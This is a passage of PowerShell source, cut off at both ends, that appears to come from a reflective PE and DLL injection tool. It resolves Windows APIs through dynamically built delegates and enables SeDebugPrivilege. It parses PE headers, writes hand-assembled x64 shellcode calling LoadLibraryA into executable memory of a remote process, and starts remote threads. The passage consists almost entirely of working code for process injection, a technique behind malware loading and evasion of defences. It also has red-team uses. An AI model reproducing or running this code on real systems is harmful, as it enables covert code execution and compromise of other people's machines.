NoteProperty -Name memcpy -Value $memcpy $memsetAddr = Get-ProcAddress msvcrt.dll memset $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx } $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $LocalFreeDelegate = Get-DelegateType @([IntPtr]) $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree return $Win32Functions } Function Sub-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { $Val = $Value1Bytes[$i] - $CarryOver if ($Val -lt $Value2Bytes[$i]) { $Val += 256 $CarryOver = 1 } else { $CarryOver = 0 } [UInt16]$Sum = $Val - $Value2Bytes[$i] $FinalBytes[$i] = $Sum -band 0x00FF } } else { Throw "Cannot subtract bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Add-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver $FinalBytes[$i] = $Sum -band 0x00FF if (($Sum -band 0xFF00) -eq 0x100) { $CarryOver = 1 } else { $CarryOver = 0 } } } else { Throw "Cannot add bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Compare-Val1GreaterThanVal2AsUInt { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) { if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) { return $true } elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) { return $false } } } else { Throw "Cannot compare byte arrays of different size" } return $false } Function Convert-UIntToInt { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt64] $Value ) [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) return ([BitConverter]::ToInt64($ValueBytes, 0)) } Function Test-MemoryRangeValid { Param( [Parameter(Position = 0, Mandatory = $true)] [String] $DebugString, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) { Throw "Trying to write to memory smaller than allocated address range. $DebugString" } if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) { Throw "Trying to write to memory greater than allocated address range. $DebugString" } } Function Write-BytesToMemory { Param( [Parameter(Position=0, Mandatory = $true)] [Byte[]] $Bytes, [Parameter(Position=1, Mandatory = $true)] [IntPtr] $MemoryAddress ) for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) { [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) } } Function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } Function Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } Function Enable-SeDebugPrivilege { Param( [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Constants ) [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() if ($ThreadHandle -eq [IntPtr]::Zero) { Throw "Unable to get the handle to the current thread" } [IntPtr]$ThreadToken = [IntPtr]::Zero [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) if ($Result -eq $false) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) { $Result = $Win32Functions.ImpersonateSelf.Invoke(3) if ($Result -eq $false) { Throw "Unable to impersonate self" } $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) if ($Result -eq $false) { Throw "Unable to OpenThreadToken." } } else { Throw "Unable to OpenThreadToken. Error code: $ErrorCode" } } [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) if ($Result -eq $false) { Throw "Unable to call LookupPrivilegeValue" } [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) $TokenPrivileges.PrivilegeCount = 1 $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value if (($Result -eq $false) -or ($ErrorCode -ne 0)) { } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) } Function Invoke-CreateRemoteThread { Param( [Parameter(Position = 1, Mandatory = $true)] [IntPtr] $ProcessHandle, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(Position = 3, Mandatory = $false)] [IntPtr] $ArgumentPtr = [IntPtr]::Zero, [Parameter(Position = 4, Mandatory = $true)] [System.Object] $Win32Functions ) [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero $OSVersion = [Environment]::OSVersion.Version if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" } } else { $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) } if ($RemoteThreadHandle -eq [IntPtr]::Zero) { } return $RemoteThreadHandle } Function Get-ImageNtHeaders { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $NtHeadersInfo = New-Object System.Object $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) if ($imageNtHeaders64.Signature -ne 0x00004550) { throw "Invalid IMAGE_NT_HEADER signature." } if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') { $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true } else { $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false } return $NtHeadersInfo } Function Get-PEBasicInfo { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $PEInfo = New-Object System.Object [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) return $PEInfo } Function Get-PEDetailedInfo { Param( [Parameter( Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) { throw 'PEHandle is null or IntPtr.Zero' } $PEInfo = New-Object System.Object $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) if ($PEInfo.PE64Bit -eq $true) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } else { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' } elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' } else { Throw "PE file is not an EXE or DLL" } return $PEInfo } Function Import-DllInRemoteProcess { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $ImportDllPathPtr ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RImportDllPathPtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($DllPathSize -ne $NumBytesWritten) { Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" } $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") [IntPtr]$DllAddress = [IntPtr]::Zero if ($PEInfo.PE64Bit -eq $true) { $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($LoadLibraryARetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" } $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $LoadLibrarySC2 = @(0x48, 0xba) $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, 